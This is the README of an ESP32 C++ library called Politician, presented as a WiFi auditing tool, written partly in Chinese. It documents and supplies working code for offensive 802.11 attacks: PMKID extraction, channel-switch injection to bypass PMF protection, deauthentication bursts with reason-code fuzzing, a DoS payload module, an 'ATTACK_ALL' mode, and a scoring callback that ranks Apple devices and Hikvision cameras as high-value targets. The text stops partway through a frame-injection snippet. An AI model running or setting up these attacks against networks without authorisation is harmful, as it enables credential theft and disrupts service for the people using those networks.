一个用于ESP32微控制器的复杂WiFi审计库
Politician 是一个嵌入式 C++ 库,专为在 ESP32 平台上进行 WiFi 安全审计而设计。它提供了一个简洁、现代的 API,用于使用先进的 802.11 协议技术捕获 WPA/WPA2/WPA3 握手并收集企业凭据。
该库围绕一个非阻塞状态机构建,管理信道跳频、目标选择、攻击执行和捕获处理。所有操作都包含在 politician 命名空间中。
| 组件 | 描述 |
|---|---|
Politician | 管理审计生命周期的主引擎类 |
PoliticianFormat | PCAPNG 捕获序列化;辅助 HC22000 文本导出 |
PoliticianStorage | 可选的 SD 卡日志记录和 NVS 持久化 |
PoliticianStress | 解耦的 DoS/中断载荷投递(选择加入) |
PoliticianTypes | 核心数据结构和枚举 |
传统的解除认证攻击对于启用受保护管理帧(PMF/802.11w)的现代 WPA3 和 WPA2 网络无效。Politician 实现了现代替代方案:
| 模式 | 描述 | 有效性 |
|---|---|---|
ATTACK_PMKID | 通过伪认证提取 PMKID | 适用于所有 WPA2/WPA3-Transition |
ATTACK_CSA | 信道切换通告注入 | 绕过 PMF 保护 |
ATTACK_DEAUTH | 传统解除认证(原因 7) | 仅适用于无 PMF 的 WPA2 |
ATTACK_STIMULATE | 用于休眠客户端的 QoS 空数据 | 非侵入式客户端唤醒 |
ATTACK_PASSIVE | 仅监听模式 | 零传输 |
ATTACK_ALL | 启用所有活跃攻击向量 | 最大攻击性 |
添加到您的 platformio.ini:```ini
[env:myboard]
platform = espressif32
board = esp32dev
framework = arduino
lib_deps =
Politician
或者直接克隆到项目的 `lib/` 目录中:```bash
cd lib/
git clone https://github.com/0ldev/Politician.git
将仓库克隆到项目的 components/ 目录:```bash
cd components/
git clone https://github.com/0ldev/Politician.git
创建一个 `components/Politician/CMakeLists.txt` 组件描述符:```cmake
idf_component_register(
SRCS
"src/Politician.cpp"
"src/PoliticianFormat.cpp"
"src/PoliticianStress.cpp"
INCLUDE_DIRS "src"
)
PoliticianStorage.h 在 ESP-IDF 下不可用——如果在 Arduino 之外包含它,编译时会发出 #error 错误。对于任何持久化需求,请直接使用 ESP-IDF 的 VFS 和 nvs_flash APIs。
#include <Arduino.h> #include <SD.h> #include <Politician.h> #include <PoliticianStorage.h>
using namespace politician; using namespace politician::storage;
Politician engine;
void onHandshake(const HandshakeRecord &rec) { Serial.printf("\n[✓] Captured: %s ch%d rssi=%d type=%d\n", rec.ssid, rec.channel, rec.rssi, rec.type); // Primary output: PCAPNG — open in Wireshark or convert with hcxpcapngtool PcapngFileLogger::append(SD, "/captures.pcapng", rec); }
void setup() { Serial.begin(115200); SD.begin();
engine.setEapolCallback(onHandshake);
Config cfg;
engine.begin(cfg);
engine.setAttackMask(ATTACK_ALL);
}
void loop() { engine.tick(); }
### Bare ESP-IDF Quick Start
Under ESP-IDF, `begin()` calls `esp_wifi_init()` internally but expects NVS and the default event loop to already be initialized. Call those before `begin()`, then drive the engine from a FreeRTOS task.```cpp
#include <nvs_flash.h>
#include <esp_event.h>
#include <freertos/FreeRTOS.h>
#include <freertos/task.h>
#include <Politician.h>
using namespace politician;
static Politician engine;
static void on_handshake(const HandshakeRecord &rec) {
printf("[+] Captured: %s ch%d rssi=%d type=%d\n",
rec.ssid, rec.channel, rec.rssi, rec.type);
}
static void audit_task(void *) {
Config cfg;
engine.setEapolCallback(on_handshake);
if (engine.begin(cfg) != OK) {
printf("[!] WiFi init failed\n");
vTaskDelete(nullptr);
return;
}
engine.setAttackMask(ATTACK_ALL);
for (;;) {
engine.tick();
vTaskDelay(pdMS_TO_TICKS(1));
}
}
extern "C" void app_main(void) {
nvs_flash_init();
esp_event_loop_create_default();
xTaskCreate(audit_task, "politician", 8192, nullptr, 5, nullptr);
}
主引擎类。必须在主循环中调用 tick()。
Error begin(const Config& cfg = Config());
初始化引擎。成功时返回 `OK`,失败时返回 `Error` 代码。必须在任何其他方法之前调用。
#### 配置结构```cpp
struct Config {
uint16_t hop_dwell_ms = 200; // Static time spent on each channel (ms)
bool smart_hopping = true; // Dynamic channel dwell time based on traffic
uint16_t hop_min_dwell_ms = 50; // Minimum dwell if no traffic is seen
uint16_t hop_max_dwell_ms = 400; // Maximum dwell if traffic is active
uint32_t m1_lock_ms = 800; // How long to stay on channel after seeing M1
uint32_t fish_timeout_ms = 2000; // Timeout per PMKID association attempt
uint8_t fish_max_retries = 2; // PMKID retries before pivoting to CSA
uint32_t csa_wait_ms = 4000; // Wait window after CSA/Deauth burst
uint8_t csa_beacon_count = 8; // Number of CSA beacons per burst
uint8_t deauth_burst_count = 16; // Frames per standalone deauth burst
uint8_t csa_deauth_count = 15; // Deauth frames appended after CSA burst
uint16_t probe_aggr_interval_s = 30; // Seconds between re-attacking the same AP
uint32_t session_timeout_ms = 60000; // How long orphaned sessions live in RAM
bool capture_half_handshakes = false; // Fire callback on M2-only captures and pivot to active attack
bool skip_immune_networks = true; // Skip pure WPA3 / PMF-Required networks
uint8_t capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
int8_t min_rssi = -100; // Ignore APs weaker than this signal (dBm)
uint32_t ap_expiry_ms = 300000; // Evict APs not seen for this long (0 = never expire)
bool unicast_deauth = true; // Send deauth to known client MAC instead of broadcast
uint32_t probe_hidden_interval_ms = 0; // How often to probe hidden APs for SSID (0 = disabled, opt-in)
uint8_t deauth_reason = 7; // 802.11 reason code in deauth frames
bool deauth_reason_cycling = true; // Cycle through effective reason codes (fuzzing)
// ── Frame capture
bool capture_group_keys = false; // Fire eapolCb(CAP_EAPOL_GROUP) on GTK rotation frames
// ── Filtering
uint8_t min_beacon_count = 0; // Min times AP must be seen before attack/apFoundCb (0 = off)
uint8_t max_total_attempts = 0; // Permanently skip BSSID after N failed attacks (0 = unlimited)
uint8_t sta_filter[6] = {}; // Only record EAPOL from this client MAC (zero = no filter)
char ssid_filter[33] = {}; // Only cache APs matching this SSID (empty = no filter)
bool ssid_filter_exact = true; // True = exact match, false = substring match
uint8_t enc_filter_mask = 0xFF; // Bitmask of enc types to cache
bool require_active_clients = false; // Skip attack initiation if no active clients seen on AP
};
在 autoTarget 期间,利用内置的 OUI 数据库优先选择特定设备厂商:```cpp
// 1. Define your targeting policy
int hunterScore(const ApRecord &ap, const char *vendor) {
int score = ap.rssi; // Start with signal strength
// Prioritize high-value targets
if (strstr(vendor, "Apple")) score += 50;
if (strstr(vendor, "Hikvision")) score += 80; // Security Cameras
// Ignore uninteresting noise
if (ap.flags.is_hidden) score -= 100;
return score;
}
void setup() { engine.begin(); engine.setTargetScoreCallback(hunterScore); engine.setAutoTarget(true); engine.startHopping(); }
#### 自定义帧注入与模糊测试
通过精确的信道控制注入任意802.11帧:```cpp
// Malformed Probe Request for fuzzing
uint8_t malformedFrame[] = { 0x40, 0x00, ... };